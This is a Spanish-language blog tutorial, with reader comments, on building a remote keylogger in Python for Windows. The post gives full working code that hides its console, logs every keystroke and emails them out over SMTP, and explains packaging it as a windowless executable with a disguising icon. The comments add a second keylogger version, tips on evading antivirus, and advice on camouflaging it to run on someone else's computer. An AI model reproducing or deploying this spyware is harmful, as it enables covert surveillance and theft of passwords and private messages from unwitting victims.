Como crear un Keylogger remoto con Python
Con esta entrada quiero explicar como crear un Keylogger remoto en Python. Este Keylogger guarda cada pulsación de tecla y lo almacena en un archivo de texto (output.txt). Después de 500 pulsaciones, el keylogger envía un correo a una dirección específica con los últimos 500 caracteres del archivo .txt. (puedes cambiar la cantidad de pulsaciones)
- pythoncom y pyHook: para capturar los eventos del teclado
- PyWin32: conjunto de módulos que proporciona acceso a muchas funciones de la API de Windows
- smtplib: módulo para enviar correo
- pyinstaller: para crear un ejecutable del Keylogger.py
Explicando cada funcionalidad del Keylogger
Código completo Keylogger.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import win32console import win32gui import pythoncom,pyHook import time import smtplib import os import sys
# www.pythondiario.com
######################################################## # CONFIGURAR VARIABLES ######################################################## win = win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) #crea el archivo .txt f=open("c:output.txt","w+") f.close #Variable que cuenta las tecas presionadas count = 0 ######################################################## # FUNCIONES ######################################################## def send_email(message): try: # Datos fromaddr = 'tuCorreo@gmail.com' toaddrs = 'tuCorreo@gmail.com' username = 'tuCorreo@gmail.com' password = 'tuContraseña' # Enviando el correo server = smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(username,password) server.sendmail(fromaddr, toaddrs, message) server.quit() except: pass def OnKeyboardEvent(event): global count count += 1 #presiona CTRL+E para salir if event.Ascii==5: sys.exit(0) if event.Ascii !=0 or 8: #abre output.txt f=open('c:output.txt','r+') buffer=f.read() f.close() if len(buffer)==1: send_email("Arranco...") elif count == 500: #Envia los ultimos 500 caracteres capturado = buffer[-500:].replace("n"," ") send_email(capturado) count = 0 #abre output.txt escribe y suma nuevas pulsaciones f=open('c:output.txt','w') keylogs=chr(event.Ascii) #si se presiona ENTER if event.Ascii==13: keylogs='n' #si se preciona ESPACIO if event.Ascii==32: keylogs='' buffer+=keylogs f.write(buffer) f.close() # crea el objeto hook manager hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent # set the hook hm.HookKeyboard() # wait forever pythoncom.PumpMessages()
Crear el ejecutable con pyInstaler
Una vez que instales pyinstaler, en consola te posicionas en la carpeta donde se encuentra el archivo pyinstaler.exe y ejecutas el comando:
python pyinstaller.exe --onefile --windowed --ico=anyimage.ico keylogger.py
--onefile se utiliza para empaquetar todo en un ejecutable
--windowed evita que se abra una ventana (consola) cuando la aplicación se ejecuta
Acuérdate de pasar bien la ruta de la imagen .ico y del archivo keylogger.py. El archivo ejecutable por lo general queda guardado en la carpeta "dist" dentro de la carpeta principal de Python.
Ahora solo resta probar en tu equipo y luego probarlo en otro equipo para ver si realmente funciona. Para ver si se está ejecutando puedes abrir el administrador de tareas de Windows
Saludos, Diego
-
-
Gracias Vanessa, no me podía aguantar el post hasta el Lunes jeje.
Saludos
-
-
Ya no mas falta envolver el dulce para que no se lo coman los niños :P...
-
Excelente post! No se puede hacer mejor.
Cambiaría mucho para hacerlo en linux?-
Hola, muchas gracias por tu comentario. Creo que para linux lo que cambiaría sería uno de los módulos importados.
pyxhook - Para Linux
pyHook - Para WindowsTendrías que ver si las funciones dentro del módulo para Linux son iguales a las de Windows, para que este Keylogger te funcione correctamente.
Saludos -
Muchas gracias a ti por compartir tu sabiduría.
Soy nuevo en el blog, pero me parece que voy a hacerme un incondicional xD.
Una preguntilla más, ¿Como puedo hacer un ejecutable para linux? -
Prueba hacer esto:
desde la terminal pon este codigo:
sudo chmod a+x nombre_de_archivo.pydespues de esto, abre el codigo del programa y coloca el siguiente codigo en la primera linea de tu programa:
#!/usr/bin/env pythonLuego ejecuta y prueba!!!
-
-
Amigo me sale lo siguiente
Traceback (most recent call last):
File "C:/secret/jh.py", line 4, in
import win32console
ImportError: DLL load failed: No se puede encontrar el módulo especificado.
>>>-
Hola, gracias por visitar el blog!!! Tienes instalado el modulo PyWin32? en el inicio del post indico de donde descargarlo. Saludos
-
Hola! Tengo el mismo problema, tengo instalado el """pywin32-221-cp27-cp27m-win32.whl""""
-
Si instalo mas de los módulos de la misma clase, tendría algún conflicto, estoy intentando solucionarlo, pero no encuentro problemas con el win32console dll en la comunidad x)
-
Hola como estas? Gracias por visitar el blog!!!
Yo creo que tuve en un principio el mismo inconveniente con PyWin32.
Fijate bien la versión (32/64 bit). Prueba instalar otra!!!
En la pagina: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/
Fijate en las versiones más descargadas. Luego me cuentas…
Saludos -
También puedes instalar pip y probar:
pip install pypiwin32 -
Este comentario ha sido eliminado por el autor.
-
Gracias Diego! muchas gracias! <3
Es el mejor blog de python que encuentro en meses!
Funciono, ahora tengo un problema con IOError: Permission denied. Ya veo como me las apaño, lo dificil era lo otro gracias! 😀 -
Excelente!!! Utilizo Python 2.7
Cualquier cosa envias el error y lo vemos!!!
Gracias por el comentario 😉 -
Lo intentare de arreglar cuando despierte, si no duermo me puedo enfermar, gracias :D!
-
Saludos amigo, me sale este error:
File "C:ProyectosSetup.py", line 1
Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:22:17) [MSC v.1500 32 bit
Intel)] on win32
^
SyntaxError: invalid syntaxme podrias ayudar?
-
-
buenas buenas, quiero hacer uno pero no me sale sera que te puedes comunicar conmigo por correo, muachas gracias rafagomezbastardo@hotmail.com... es que tengo problema con en pyhook
-
Hola Ruth, gracias por visitar el blog!!! Cual es el error que estas teniendo, así también nos sirve como retro alimentación!!!
Saludos
-
-
File "C:UsersHargusDesktoppklv2.pyw", line 15, in
f=open("c:output.txt","w+")
IOError: [Errno 13] Permission denied: 'c:\output.txt'Estaba leyendo y el archivo necesita permisos de administrador ya que no siempre podría ejecutándose en terminales que tengan el usuario administrador iniciado, lo cual hace que el archivo ya no sea """"invisible"""" entre muchas comillas por que es claramente visible al ejecutarse el administrador de tareas. Estaba pensando en adjuntar un archivo batch para crear el .txt, puesto este no requiere de permisos especiales(Creo), ¿existe una mejor manera?
-
Error mio, los archivos bat para carpetas de sistema o unidades de sistema necesitan permisos de administrador, se podrían ejecutar pero no hacer nada.
-
Lo solucionaste?
-
-
Bueno mi ultima pregunta es, como podria detectar los caracteres especiales? Intente hacer esto pero evidentemente no funciona x)
if event.Ascii==64:
keylogs='@' -
Hola... Como hago para que se detenga el programa... ya no quiero que me lleguen mensajes a mi correo.
-
HOla... inicial el administrador de tareas (control + alt + sup) y finaliza el proceso (el nombre que le pusiste al Keylogger)
Saludos
-
-
Tengo windows 7 y no necesariamente encontre el archivo del script que ejecute sino uno con el nombre de pythonw o mejor dicho finalice todos los procesos que tenian que ver con python. Igual gracias por responder. Saludos.
-
holo tengo un problema.
cuando ejecuto el keylogger y llega la hora de enviarme los 500 caracteres me llega un correo pero vacio, y reviso el archivo de texto y encuentro esto:\ F F H W
-
Que raro!!!
Tienes todo el Keylogger igual al del ejemplo?
Saludos
-
-
Que tal amigo, buen post y todo pero lo hice de dos maneras, en diferentes versiones de Python estuvo mejor la 2.7 aunque me salio "No such file or directory: 'anyimage.ico'
-
Hola, pero al final pudiste?
Saludos y gracias por visitar el blog!!!
-
-
Hola, sabes intento instalar pypwin32 por medio de pip y me lanza este error? que deberia hacer.
Could not find a version that satisfies the requirement pypwin32 (from versions: )
No matching distribution found for pypwin32-
Hola Marco, al principio de la entrada comparto un link para instalar pypwin32. Espero te sirva!!!
Gracias por visitar el blog
-
-
Hola Diego, tengo una duda, ya lo hice y lo ejecute(f5) normal y todo funciona excelente pero tengo un problema. Cuando ya lo paso con el pyinstaller, osea cuando ya tengo el keylogger.exe lo corro pero al correo solo me indica que "Arrancó..." pero no me llega lo demás, no llega lo que capturó por teclado.
Si me pudieras ayudar te lo agradecería.
-
Hola CLAY, esta parte la tienes igual (elif count == 500:) y todo lo que sigue debajo? porque es aqui donde manda el mail despues de los 500 caracteres.
Saludos y gracias por visitar el blog
-
-
hola que pasa si ya descargue los modulos y me aparece """Traceback (most recent call last):
File "", line 3, in
import win32console
ImportError: No module named win32console"""-
ya solucione el problema! solo habia que descargar en este enlace "https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/"la version pywin32-221.win32-py2.7.exe
-
-
tengo una pregunta...en que lugar seguro puedo instalar pyInstaler???
-
y que tipo descargar??
-
Amigo yo estaba apunto de instalar el PyHook. Cuando lo intento instalar me dice que necesito la versión de python 2.7 y lo más raro es que cuando lfui a la consola a instalar python (porque pense que no lo tenia) me di cuenta que tenia python 2.7 porque era el que linux usa por defecto y me dice que lo necesito ayuda!!
-
que hacer Buffer en la funcion de OnKeyboardEvent??
-
Amigo por favor me podrias ayudar como instalo esas expaciones pyhook y pywin "dependiendo de mi sistema operativo si soy 64bist descargo la de 64bist?
saludos amigo -
que ago no me isntala el pyhook (C:UsersANTHONYDesktoppython>pip install pyHook-1.5.1-cp27-cp27m-win32.whl
Requirement already satisfied: pyHook==1.5.1 from file:///C:/Users/ANTHONY/Desktop/python/pyHook-1.5.1-cp27-cp27m-win32.whl in c:python27libsite-packages -
me gustaria saber el por qué de después de unos minutos el programa deja de recoger los datos del teclado y sólo envía mensajes de correo electrónico repetidos sin cambios de nueva información insertada por el teclado
-
Una pregunta amigo, cuando quiero ejecutar python pyinstaller.exe --onefile --windowed --ico=anyimage.ico keylogger.py etando en la respectiva carpeta, me sale: python: can't open file 'pyinstaller.exe': [Errno 2] No such file or directory
-
checa la carpeta de scrips, ahi encontre el pyinstaller.exe o bien para que no haya pierde buscalo en todo el C
-
-
Este comentario ha sido eliminado por el autor.
-
despues de buscar el pyinstaller por todos lados y encotrarlo, me sale un error a la hora de ejecutar el keylogger, me sale este error
Fatal Error (titulo de la ventana)
Failed to excecute script keylogger (mensaje)
a alguien mas le paso??
-
hola se puede hacer software de llamadas masivas con python?
-
Pregunta, dices que hay que tener instalador pythoncom, pyHook y smtplib para registrar teclas y enviar el correo, si lo pruebo en otro ordenador, este debe tenerlos instalados, se instalan al ejecutar el programa o como va? y otra duda, el programa solo funciona cuando se ejecuta no? osea si se reinicia el equipo sigue funcionando?
-
En la otra máquina no es necesario tener nada instalado.
Asi como está hecho el keyloger, si reinicia la máquina deja de funcionar. Saludos
-
-
lo mismo de la pregunta de arriba sobro los modulos en otra maquina, que pasa si la maquina victima no tiene por ejemplo pyHook? queda inservible el keylogger?
-
En la otra máquina no es necesario tener nada instalado. Saludos
-
-
Hola!tengo un problema,
File "C:/Users/red21/PycharmProjects/prototipo1/prototipo 1.py", line 74
capturado = buffer[-500:].replace("n","
^
SyntaxError: EOL while scanning string literalProcess finished with exit code 1
tengo un problema en aquella linea, me podrias ayudar por favor, solo eso. Saludos!
-
Y si quiero que ademas de que funcione el Keylogger se ejecute otro programa como por ejemplo el notepad, pero que el notepad solo se ejecute una vez
-
El antivirus lo detecta?
-
Lo probé con Avast y no lo detectó
-
Hola esta muy interesante el blog, sobre todo si es de programacion, pero tengo un pequeño problema, al probar el programa de Python me envía claramente el correo de "Arranco..." pero luego no me envia los 500 caracteres, que podria ser? tengo Python 2.7.11 con win7
-
Buenas gente!! muy completo e interesante el post, lo unico que PyHook para python 3.6 tiene un bug y no funciona correctamente, yo use este codigo y anda a la perfeccion!
import sys
import keyboard
from email.mime.text import MIMEText
from smtplib import SMTP#configuracion variables
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "keys.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = True
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"def OnKeyboardEvent():
if CLEAR_ON_STARTUP:
os.remove(FILE_NAME)f = open(FILE_NAME, "a")
for string in keyboard.get_typed_strings(keyboard.record(TERMINATE_KEY)):
f.write(string + "n")f.close()
f = open(FILE_NAME, "r")
keys_txt = f.read()
f.close()
print(keys_txt)
send_email(keys_txt)usamos el modulo keyboard para levantar los eventos de teclado y salimos al presionar la tecla que le enviamos(estoy viendo si encuentro una manera de terminarlo de acuerdo a la cantidad de caracteres), la implementacion del send_mail es tal cual lo implemento diego. Y fijense de no estar en una VPN que sino gmail no conecta, que estuve 1 hora hasta darme cuenta q era eso jeje saludos
-
aca les dejo la version un poco mejorada, basicamente dormimos durante x tiempo mientras levantamos los caracteres y comprobamos si ya superamos el limite en caso contrario volvemos a ejectutar el loop
def main_key():
if (os.path.exists(FILE_NAME)):
os.remove(FILE_NAME)
f = open(FILE_NAME, "a")
total_keys=''
while (len(total_keys) < 10):
keyboard.start_recording()
time.sleep(3)
gen = keyboard.stop_recording()
now_keys= list(keyboard.get_typed_strings(gen))
if not (now_keys[0] == ''):
total_keys = total_keys + ''.join( now_keys)
f.write(total_keys)
f.close()
send_email(total_keys) -
He hecho todo, y me ha funcionado, solo un pequeño comentario, al momento de ya convertir mi script a .exe, lo eh ejecutado y todo bien, me mandó los correos y todo, el problema fue cuando ya al momento de tener mi archivo en .exe, al eliminar la carpeta en la cual venía situado el .txt en el cual se guardaba todo el texto que escribía, el programa dejaba de funcionar, por lo que puedo deducir que al pasar solo el .exe a otra máquina sin instalar phyton y todas esas cosas, éste programa no funcionará en lo absoluto, lo cual, le quita el chiste a todo este programa.
-
Si tu problema es el archivo .txt, tranquilamente puedes hacer el programa sin usarlo, inicializa una variable en la q vas concatenando todas las teclas levantadas y mandas eso directamente... es hasta mejor en mi opinion
-
Traceback (most recent call last):
File "C:/Users/Enzo/Desktop/keylogger2.pym.py", line 13, in
f=open("c:output.txt","w+")
IOError: [Errno 13] Permission denied: 'c:\output.txt' -
probaste ejecutando el script como admin??
-
A alguien mas le pasa al ejecutar el keylogger.exe. despues de pulsar la primer tecla el programa deja de funcionar
-
Hola encontré esta página muy buena, lo q quiero saber es si se puede poner mediante una apk este script para que haga lo mismo pero en un celular. Se podrá? Gracias
-
-
Como puedo hacer uno para android?
-
Espero me contestes, como puedo madar este keylogger a otra computadora para registrar lo que hace, se puede mandar por correo electronico y si es asi como se hace.
-
FACIL LO CAMUFLAS Y LO ASES EJECUTABLE CON UN CLIC
-
-
UNA PREGUNTA A ALGUIEN LE FUNCIONO
-
Amigo me arias el comando ho hay alguien que me ayude hacelo por mi estaría muy agredecido. Solo os pido q surayyen en rojo o en mayúsculas el sitio en donde va mi email y p contraseña.
Gracias -
UnicodeDecodeError: 'ascii' codec can't decode byte 0xf1 in position 18: ordinal not in range(128) Que hago si me sale esto en la cmd?
-
hola! me marca un error cuando lo ejecuto, dice:
Restart:Shell
y los caracteres que se guardan estan ilegibles, aparecen como rectangulos
saludos
Deja una respuesta
Hola buenas tardes Diego cada día estoy patidifusa por el material que publicas y hasta los domingos escribes.
#AdictaAVuestroBlog =D
Un beso su merced.